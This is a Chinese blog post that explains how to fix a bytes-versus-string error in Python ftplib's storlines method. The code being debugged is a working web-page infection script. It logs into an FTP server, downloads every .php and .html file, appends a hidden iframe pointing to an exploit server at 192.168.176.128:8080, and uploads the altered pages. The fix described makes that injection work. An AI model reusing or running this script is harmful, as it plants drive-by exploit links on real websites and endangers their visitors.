首页 > 编程语言 >Python内置模块FTPLIb的 STORLINES方法运行出错解决过程

Python内置模块FTPLIb的 STORLINES方法运行出错解决过程

时间:2022-11-04 11:25:59浏览次数:44  
标签:FTPLIb ftp Python self STORLINES port options each page

FTPLIb STORLINES方法出错解决过程

错误现象

import ftplib
import optparse
import sys

class FTPWebpageDetect:
    def __init__(self) -> None:
        self.target = self.get_params()[0]
        self.port = self.get_params()[1]
        self.username = self.get_params()[2]
        self.password = self.get_params()[3]
        self.session = self.ftplogin()
        self.dir_list = []
   
   
    def get_params(self):
        parser = optparse.OptionParser('Usage: ./%s -H host -p port -u username -P password' % sys.argv[0])
        parser.add_option('-H', '--host', dest='host', type='string', help='Specify target server')
        parser.add_option('-p', '--port', dest='port', type='int', help='Specify port')
        parser.add_option('-u', '--username', dest='username', type='string', help='Specify username')
        parser.add_option('-P', '--password', dest='password', type='string', help='Specify password')
        options, args = parser.parse_args()
        if options.port is None:
            options.port = 21
        if options.host is None or options.username is None or options.password is None:
            print(parser.usage)
            sys.exit()
      
        return options.host, options.port, options.username, options.password
    
    def ftplogin(self):
        try:
            ftp = ftplib.FTP()
            ftp.connect(host=self.target, port=self.port)
            ftp.login(user=self.username, passwd=self.password)
            print("[+] Successfully logged in")   
            return ftp      
          
        except:
            print("[-] Failed to log in")
            sys.exit()
    
    def manipulate_page(self, page, payload):
        f =  open(page+'.tmp', 'a+')
        self.session.retrlines('RETR '+page,f.write)
        print("Downloaded page:\n")
        f.write(payload)
        f.close()
        self.session.storlines('STOR '+ page, open(page+'.tmp'))
        print("Inserted code into the page")
    
    def run(self):
        payload = '<iframe src="http://192.168.176.128:8080/exploit"></iframe>'
        try:
            dir_li = self.session.nlst()
            if len(dir_li) > 0:
                for each in dir_li:
                    each = each.lower()
                    if '.php' in each or '.html' in each:
                        self.dir_list.append(each)
        except Exception as e:
            print("Something is wrong: %s" % e)
            sys.exit()
        
        if len(self.dir_list) > 0:
            print("[+] The following web page are found on the server:\n")
            for each in self.dir_list:
                print(each)
                self.manipulate_page(each,payload)
                

if __name__ == '__main__':
    ftp = FTPWebpageDetect()
    ftp.run()

运行代码后出现一下错误

Traceback (most recent call last):
  File "/root/Desktop/Hack_Project/new/ftp_webpage_detect.py", line 73, in <module>
    ftp.run()
  File "/root/Desktop/Hack_Project/new/ftp_webpage_detect.py", line 68, in run
    self.manipulate_page(each,payload)
  File "/root/Desktop/Hack_Project/new/ftp_webpage_detect.py", line 48, in manipulate_page
    self.session.storlines('STOR '+ page, open(page+'.tmp'))
  File "/usr/lib/python3.9/ftplib.py", line 532, in storlines
    if buf[-1] in B_CRLF: buf = buf[:-1]
TypeError: a bytes-like object is required, not 'str'

解决方法

根据提示TpeError: a bytes-like object is required,出错的方法是storelines,查看该方法的说明:

“”ethod) storlines: (cmd: str, fp: SupportsReadline[bytes], callback: ((bytes) -> Any) | None = ...) -> str
Store a file in line mode. A new port is created for you.

Args:
cmd: A STOR command.
fp: A file-like object with a readline() method.
callback: An optional single parameter callable that is called on
each line after it is sent. [default: None]

Returns:
The response code.”“”

这里说,首先storlines方法的第二个参数,并不是传入字节或者字符串,尝试用open(page+'.tmp').read()依然出错

这里需要传入的是文件指针fp,但是需要以'rb'方式打开

只要加上'rb',即可得到正确结果。

标签:FTPLIb,ftp,Python,self,STORLINES,port,options,each,page
From: https://www.cnblogs.com/jason-huawen/p/16857097.html

相关文章

  • python django在线零食商城系统的设计与实现
    ......
  • python-列表排序
    输入三个整数x,y,z,形成一个列表,请把这n个数由小到大输出这就是要求升序排列,用之前写过几种方法法一#数组li=[1,3,5,7,2,0]#用sort()排序li_sort=sorted(li,reverse=......
  • python-将一个正整数分解质因数。例如:输入90,打印出90=2*3*3*5
    分析:对n进行分解质因数,应先找到一个最小的质数k,然后按下述步骤完成:如果这个质数恰等于n,则说明分解质因数的过程已经结束,打印出即可。如果n!=k,但n能被k整除,则应打印出k的值,并......
  • python-练习
    Python实现秒表功能importtimeprint('按下回车开始计时,按下Ctrl+C停止计时')whileTrue:try:input()starttime=time.time()print('开......
  • python-requests的简单用法
    做一个总结~以便以后参考本文参考:​​​添加链接描述​​importrequestsGET请求eg:r=requests.get('http://httpbin.org/get')print(r.url)传参eg:load={'key1':'value1......
  • python-迭代器与生成器
    迭代器对象从集合的第一个元素开始访问,直到所有的元素被访问完结束。迭代器只能往前不会后退。迭代器有两个基本的方法:iter()和next()。字符串,列表或元组对象都可用于创建......
  • python-求三角形的面积
    计算三角形的面积法一:#计算三角形的面积a=float(input('输入三角形第一边长:'))b=float(input('输入三角形第二边长:'))c=float(input('输入三角形第三边长:'))whilea......
  • python-当字符串为空则抛出异常
    今天有一个需求,判断字符串是否为空,为空则抛出异常python的异常有个大基类,承的是Exception。所以我们自定义类也必须继承Exception#最简单的自定义异常classFError(Exceptio......
  • Python-SMTP发送邮件
    之前学习过SMTP(SimpleMailTransferProtocol,知道是简单邮件传输协议,是一组用于由源地址到目的地址传送邮件的规则,由它来控制信件的中转方式。python的smtplib提供了一种很......
  • python-二次方程
    导入cmath模块,计算复杂数学运算eg:我们计算二次方程式ax**2+bx+c=0代码如下:importcmatha=float(input('输入a:'))b=float(input('输入b:'))c=float(in......